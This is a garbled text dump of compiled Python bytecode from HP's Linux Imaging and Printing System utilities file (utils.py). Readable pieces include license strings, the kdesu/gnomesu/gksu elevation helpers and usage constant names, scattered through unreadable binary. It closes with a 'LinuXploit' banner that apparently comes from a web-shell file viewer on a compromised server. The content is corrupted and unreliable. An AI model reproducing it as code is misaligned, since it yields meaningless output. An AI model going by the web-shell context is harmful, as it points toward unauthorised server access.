-
F?41


-
F?41



-
+.1
'


!


?
















cCstid|o!titidtintitidtitid||ftidtidtidtidtidtiddS(	NR&s.HP Linux Imaging and Printing System (ver. %s)s$HP Linux Imaging and Printing Systems
%s ver. %ss<Copyright (c) 2001-9 Hewlett-Packard Development Company, LPs0This software comes with ABSOLUTELY NO WARRANTY.s;This is free software, and you are welcome to distribute its<under certain conditions. See COPYING file for more details.(RRRRR(tprogram_nameRtshow_ver((s/usr/share/hplip/base/utils.pyt	log_titles
! 




cCs&dti|}ti|||S(Ns(?i)(RRR0(toldtsearchRtregex((s/usr/share/hplip/base/utils.pytireplace'scCsOd}tdo
d}n/tdo
d}ntdo
d}n|S(Ntkdesuskdesu -- %stgnomesusgnomesu -c "%s"tgksus	gksu "%s"(RR(tsu_sudo_str((s/usr/share/hplip/base/utils.pytsu_sudo,s





cCsd}tid||S(Nc
Ss|id}|d djoayG|d djott|dd!dStt|dd!SWqtj
oqXn5ytti|dd!}Wntj
onX|S(	Niis&#is&#xiii(R,tchrRRHthtmlentitydefstname2codepointR(R\Rm((s/usr/share/hplip/base/utils.pytfixup@s	s&#?\w+;(RR0(RmR((s/usr/share/hplip/base/utils.pytunescape?s	cCst|tpt|}n|idd}xEtiD]:}|djo'|it|dti|}q<q<Wx=tdtddD]"}|it|d|}qW|S(	Nu&u&amp;i&u&%s;i iiu&#%d;(R9RRRtcodepoint2nametunichrRh(R(R{((s/usr/share/hplip/base/utils.pyRZs

+ (((((((((t
__future__RR8RRERtsocketRtselectttimeRterrnoRSR,RRRtxml.parsers.expattparsersRnRRRRNR
RMRR
tgtcodesRRRRRR%RR3R=R?RIRZR[R^RRRRRRRtmkstempRRRtobjectRRRRRRRR	RRR?R-R@R'RBRARERFRPRSRRRXR[R_R`RaRxt
hexversionR|R~R}RRRRhRRRRRRRRRRRRt
USAGE_OPTIONStUSAGE_LOGGING1tUSAGE_LOGGING2tUSAGE_LOGGING3tUSAGE_LOGGING_PLAINt
USAGE_ARGStUSAGE_ARGS2tUSAGE_DEVICEt
USAGE_PRINTERt
USAGE_BUS1t
USAGE_BUS2t
USAGE_HELPtUSAGE_SPACEtUSAGE_EXAMPLEStUSAGE_NOTEStUSAGE_STD_NOTES1tUSAGE_STD_NOTES2t
USAGE_SEEALSOtUSAGE_LANGUAGEtUSAGE_LANGUAGE2t
USAGE_MODEtUSAGE_NON_INTERACTIVE_MODEtUSAGE_GUI_MODEtUSAGE_INTERACTIVE_MODEtsys_confRt
USAGE_USE_QT3t
USAGE_USE_QT4RRRR
RRRR(((s/usr/share/hplip/base/utils.pyt<module>s


	
	


"	,		
w				9	W		)		I									(	*		F					

Youez - 2016 - github.com/yon3zu
LinuXploit